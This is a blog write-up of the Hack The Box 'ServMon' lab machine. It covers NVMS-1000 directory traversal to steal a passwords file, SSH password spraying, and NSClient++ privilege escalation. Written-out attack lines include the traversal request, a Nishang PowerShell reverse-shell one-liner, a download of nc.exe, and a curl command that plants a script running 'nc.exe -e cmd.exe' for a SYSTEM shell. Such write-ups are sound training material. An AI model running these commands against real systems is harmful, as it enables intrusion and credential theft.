Hack The Box ServMon Writeup

Hack The Box ServMon Writeup

ServMon is an easy Windows box created by dmw0ng on Hack The Box. To own this box it is recommended that basic web enumeration, basic Windows enumeration, and SSH tunneling skills. By completing this box you will learn the following skills exploiting NVMS-1000, exploiting NSClient++, and SSH password spraying. Hello world, welcome to Haxez where today I will explain how I hacked ServMon.

ServMon Service Enumeration

Once connected to the VPN, I spawned the box and sent it a ping request to check it was online. Then, I performed a Nmap scan against all ports and requested service versions. Furthermore, I told it to run default scripts gave it a minimum packet rate of 10000, and saved the output in all formats. As a result, I learned that there were several ports open including FTP which supports anonymous FTP, SSH, HTTP, SMB, and a bunch of RPC ports.

sudo nmap -sC -sV -p- --min-rate 10000 -oA ServMon
ServMon Enumeration

Anonymous FTP

Starting with the lowest port, I used wget to download everything from the anonymous FTP server. As a result, I downloaded 2 files from the user’s directory. One belonging to Nadine named Confidential.txt and one belonging to Nathan called Notes to do.txt. The Confidential.txt file in Nadine’s directory was a note to Nathan that said the following:

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

The Notes to do.txt file found in Nathan’s directory was a todo list that said the following:

1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

I felt this was quite valuable information. First, I learned that there were two users, one called Nadine and one called Nathan. Next, I learned that there were a number of services including NSClient, NVMS, and Sharepoint. Furthermore, I know that the password for NVMS has recently been changed, and that NVMS is publically accessible.

wget -m --no-passive ftp://anonymous:[email protected]
Anonymous FTP

Web Application Enumeration

Since SSH is never the intended attack vector, I moved to the next numerical port which was port 80 for HTTP. Upon navigating to the IP address in the Burp browser, A page loaded titled NVMS-1000. After performing a quick Google search, I learned that NVMS-1000 is a monitoring client specifically designed for network video surveillance. I had a quick skim through the documentation but unfortunately, there are no default credentials as the user defines them when performing the installation. I attempted some weak credentials such as admin:admin but was unsuccessful.

ServMon Web Application Enumeration

Next, I navigated to the NSClient page on port 8443. The official walkthrough shows this as having a login form but when I visited it, it didn’t. I couldn’t seem to interact with anything either and there did appear to be an error. Hopefully, this shouldn’t be a problem.

The notes from FTP specifically referenced this application so I presume that this is the intended foothold. After a bit more Googling, I found that NVMS-1000 is vulnerable to a directory traversal vulnerability. The vulnerability has the CVE designation of CVE-2019-20085 and could allow threat actors to retrieve files from the remote system. There is also a Python script on ExploitDB. Furthermore, I learned from the notes that Nadine had left a Passwords.txt file on Nathan’s Desktop. Seems like a match made in heaven. I grabbed a request from Burp’s HTTP history and sent it to the Repeater. I modified the request to include the required directory traversal and pointed it at the Passwords.txt file. Sure enough, I was able to retrieve the following passwords from the file.


GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: dataPort=6063
Connection: close


HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close


ServMon Foothold

I now had a list of passwords and potential users. As a result, I created two wordlists, one for the passwords and one for the users containing the usernames root (I’m an optimist), administrator, Nathan, and Nadine. Next, I used crackmapexec to password spray the box with the usernames and passwords. After a few attempts, a login was successful with the Nadine user.

sudo crackmapexec ssh -u users.txt -p password.txt
ServMon Foothold

After logging in with SSH, I was pleasantly surprised to find that I could capture the user flag. Admittedly, I suspected that I would have to move laterally to Nathan first to capture it but nope. I moved to the desktop directory and was able to capture the flag. That makes sense since we stole the passwords.txt from Nathans’s desktop. Perhaps Nathan is no longer required.

nadine@SERVMON C:\Users\Nadine>cd Desktop          
nadine@SERVMON C:\Users\Nadine\Desktop>dir 
 Volume in drive C has no label.   
 Volume Serial Number is 2237-9369 
 Directory of C:\Users\Nadine\Desktop
02/27/2022  10:45 PM    <DIR>          .
02/27/2022  10:45 PM    <DIR>          ..
05/25/2023  11:03 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   5,814,657,024 bytes free
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt 

ServMon System Enumeration

It’s time to pillage and plunder. After poking around the file system for a bit I noticed the C:\Program Files\NSClient++ directory. Within that directory is a nsclient.ini file which contains the configuration data for the service. The configuration data includes a password.

PS C:\Program Files\NSClient++> type nsclient.ini                           
password = ew2x6SsGTxjRwXOT                                                                                                                                            
ServMon System Enumeration

Furthermore, it also specifies that the only allowed host is which is the localhost. Perhaps this is why the page was acting janky when I visited it earlier. However, with some SSH tunneling magic, I should be able to trick it into thinking the requests are coming from the host. I used SSH to connect to the host but specified that I wanted to forward port 8443 from the box to 8443 on my attack box.

ssh -L 8443: [email protected]

Unfortunately, it seems the jankyness wasn’t to do with my request not coming from It seems that something is broken server side. The screenshot below shows the mess I was receiving whenever I refreshed the page. It seemed like the server was still loading but it was producing errors.

Not to be deterred, I respawned the box a few times, prematurely contacted support, and then tried a different browser. The login page finally loaded and I was able to log in with the password found in the .ini file.

ServMon Privilege Escalation Setup

I now had access to the portal but had no idea what to do. I read through the privilege escalation documentation offered by searchsploit. After that, I also read through the official walkthrough and watched IppSecs video to get a better understanding of what was going on. It was here that everything started going wrong and I wished I had never started this box. Everyone’s writeup says to put the payloads in C:\temp… Well, guess what… there is no C:\Temp. This box absolutely started getting the better of me to the point I had to walk away from it.

No Temp

I went through a bunch of walkthroughs and found Yep’s walkthrough which made it seem simple by using the Python script on exploitdb. Sorry Yep but Nope! I got concatenation errors which I didn’t have a clue how to fix. I know I’m complaining a lot but I don’t understand how this is an easy box. This privilege escalation is incredibly frustrating.

Concatination error

What Not To Do

I navigated to settings, and external scripts and clicked add new. Next, I created a new script with the following parameters.

Section: /settings/external scripts/scripts/shell
key: command
value: C:\Temp\pwn.bat

After that, I clicked save, and under the changes menu, I clicked save scripts. Next, I headed to the control menu and clicked reload.

ServMon Privilege Escalation

Please note that you should also check that CheckExternalScripts and Scheduler are enabled in the modules section. These were on by default so I didn’t need to change anything but it is a prerequisite to getting the exploit to work.


Once all that was set up, I copied a Nishang reverse shell script to my current working directory and added my IP address.

cp /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 .
$sm=(New-Object Net.Sockets.TCPClient('',9001)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}

Once saved, I followed IppSec’s instructions and converted it with iconv.

cat Invoke-PowerShellTcpOneLine.ps1 | iconv -t utf-16le | base64 -w 0

So I’m going to stop here and say that all of this didn’t work. I took a long break and came back to it.

ServMon Privilege Escalation

In the end, it was B1nsec’s article that got me through it, thanks dude!. So let’s uncomplicate things. First, I downloaded the 64-bit payload netcat payload onto my attack box. I then set up a Netcat listener on my attack box on port 443. Then, I span up a Python webserver to host the Netcat binary.

└─$ wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe
└─$ python3 -m http.server 80
Serving HTTP on port 80 ( ...

On the target box, I created a directory called temp at the root of C. Not sure why I didn’t think to do this earlier. I think I was in tunnel vision mode. Then, I downloaded the 64-bit Netcat binary and saved it as nc.exe.

PS C:\temp> (New-Object Net.WebClient).DownloadFile('','C:\temp\nc.exe')

Once I confirmed it had downloaded correctly, I copied B1nsec’s command to create the payload that executes the NetCat binary with SYSTEM privileges.

PS C:\temp> curl -s -k -u admin -X PUT --data-binary "C:\Temp\nc.exe 443 -e cmd.ex
Enter host password for user 'admin':
Added revshell as scripts\revshell.bat

Finally… I ran the command to execute the exploit.

PS C:\temp> curl -s -k -u admin
Enter host password for user 'admin':
{"command":"revshell","lines":[{"message":"Command revshell didn't terminate within the timeout period 60s","perf":{}}],"result":3}

The reverse shell connected back to my attack machine and I was able to capture the root flag.

└─$ sudo nc -lvnp 443
[sudo] password for kali: 
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 49695
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami
nt authority\system
C:\Users\Administrator\Desktop>type root.txt
type root.txt

ServMon Learnings

I said some harsh things about this box during my writeup but in hindsight, the fault was with me. I’m not going to remove those comments because that’s how I felt at the time. This is a good box and once I understood the proper way to perform the privilege escalation, it was easy. The path to foothold was a lot of fun and was fairly simple. The directory traversal was practical and I like how the notes guided you to the file you needed.

The privilege escalation is simple if you do it correctly. Unfortunately, I went down every rabbit hole on the way to getting there. Everything I tried failed and it made me incredibly frustrated. I even started just looking for a flag online so that I could submit it and move on. However, in the end, persistence paid off. Granted I had to find the answer from another writeup but it taught me a lot along the way. I’m glad that this one is out of the way.